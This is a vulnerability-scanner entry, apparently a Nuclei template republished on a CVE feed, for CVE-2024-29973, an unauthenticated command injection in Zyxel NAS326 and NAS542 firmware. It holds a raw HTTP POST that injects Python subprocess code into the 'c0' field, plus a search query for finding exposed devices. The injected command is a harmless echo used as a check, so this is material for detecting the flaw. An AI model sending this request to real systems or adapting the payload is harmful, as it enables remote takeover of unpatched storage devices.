Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection

2024-06-1906:22:08

ProjectDiscovery

github.com

cve

cve2024

zyxel

command-injection

vulnerability

unauthenticated

os-command

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.8 High

AI Score

Confidence

Low

0.937 High

EPSS

Percentile

99.1%

JSON

The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.

id: CVE-2024-29973

info:
  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
  reference:
    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
    - https://x.com/sirifu4k1/status/1803267896656929099/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.88
    cve-id: CVE-2024-29973
    cwe-id: CWE-78
    epss-score: 0.96901
    epss-percentile: 0.9971
    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: nas326_firmware
    fofa-query: app="ZYXEL-NAS326"
  tags: cve,cve2024,zyxel,rce,intrusive
variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei

        ------WebKitFormBoundarygcflwtei
        Content-Disposition: form-data; name="c0"

        storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#
        ------WebKitFormBoundarygcflwtei--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'errmsg0\": \"OK')"
          - "contains(header, 'application/json')"
          - "contains(body, '{{string}}')"
        condition: and
# digest: 490a00463044022049181be120d1349aec1b0334e173bea723ccde8f661094dd301df6a3934e0cce022047da4d0360d5e747e56c1bf4518b1de78d04716a4170e162b3f5c2d65f5df088:922c64590222798bb761d5b6d8e72950